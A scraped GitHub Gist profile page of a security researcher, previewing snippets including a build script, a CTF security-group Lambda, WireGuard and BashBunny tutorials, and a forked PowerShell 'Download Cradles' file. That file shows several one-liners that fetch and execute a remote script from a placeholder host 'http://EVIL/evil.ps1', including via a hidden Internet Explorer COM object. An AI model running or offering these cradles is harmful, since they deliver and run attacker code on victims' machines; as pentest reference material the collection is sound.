Skip to content

Instantly share code, notes, and snippets.

View tkisason's full-sized avatar
🔓
👾

Tonimir Kisasondi tkisason

🔓
👾
View GitHub Profile
#!/bin/bash
set -ex
apt update
apt install -y libssl-dev libssl1.1 python3-pip build-essential git \
pkg-config autoconf autoconf-archive libglib2.0-dev \
libjsoncpp-dev uuid-dev liblz4-dev libcap-ng-dev \
libxml2-utils python3-minimal python3-dbus \
python3-docutils python3-jinja2 libxml2-utils \
libtinyxml2-dev policykit-1 libsystemd-dev \
#!/usr/bin/env python3
import os
import sys
from ruamel.yaml import YAML
def getRulefilesFromPath(path):
rulefiles = []
for root, dirs, files in os.walk(path):
dirs[:] = [d for d in dirs if not d.startswith(".")]
@tkisason
tkisason / aws-lambda-add-ip2-secgroup-ctf.py
Last active October 8, 2023 13:59
This AWS lambda function will add the source IP from a GET request to a EC2 security group. Useful for CTF's where you want to have a vulnerable AWS infra, but want to "pre-clear" players (by them accessing/curling one URL) and allow them access through a secgroup.
import json
import boto3
from botocore.exceptions import ClientError
ec2 = boto3.client('ec2')
security_group_id = "sg-..." ## add your security group ID here!
#0. Find your security group name from your EC2 instance and copy/paste your security group id above ^^^
# Create a new lambda function, name it whatever, runtime: python 3.7
# Select the Execution role : Create new role with basic Lambda permissions
# Pick the "Enable Function URL" option from Advanced settings.
@tkisason
tkisason / DownloadCradles.ps1
Created August 21, 2019 07:59 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@tkisason
tkisason / wireguard.md
Last active November 22, 2018 22:52
Wireguard short tutorial

On each host, install wireguard:

sudo apt install software-properties-common
sudo add-apt-repository ppa:wireguard/wireguard
sudo apt update
sudo apt install wireguard-dkms wireguard-tools

wg genkey | tee privatekey | wg pubkey > publickey
@tkisason
tkisason / markdown2mediawiki-table.py
Created November 6, 2018 00:14
Convert markdown table to mediawiki table format (owasp.org wiki)
def convert(intext):
intext = intext.split('\n')
text = '{| class="wikitable"' +'\n'
line = intext[0].replace(' | ', ' !! ').replace('| ','! ')
text += line + '\n'
intext.pop(0)
for row in intext:
text += '|-' + '\n'
row = row.replace(' | ',' || ').replace('**','')
text += row[:-1] + '\n'
@tkisason
tkisason / bashbunnyquickstart.md
Last active April 10, 2017 01:04
BashBunny quickstart tutorial

Custom languages don't work without bbpayloads: Fetch the bashbunny payloads:

git clone https://github.com/hak5/bashbunny-payloads.git

Slide the switch to arming position (all the way to the usb plug)

move contents of payloads/library/DuckyInstall to the payloads/switch1 directory in the bunny

@tkisason
tkisason / keybase.md
Created January 6, 2016 21:36
keybase.md

Keybase proof

I hereby claim:

  • I am tkisason on github.
  • I am kisasondi (https://keybase.io/kisasondi) on keybase.
  • I have a public key whose fingerprint is 77FC A831 5CE3 4BCF B1C0 1B0C F1D9 B3A2 00C6 8442

To claim this, I am signing this object: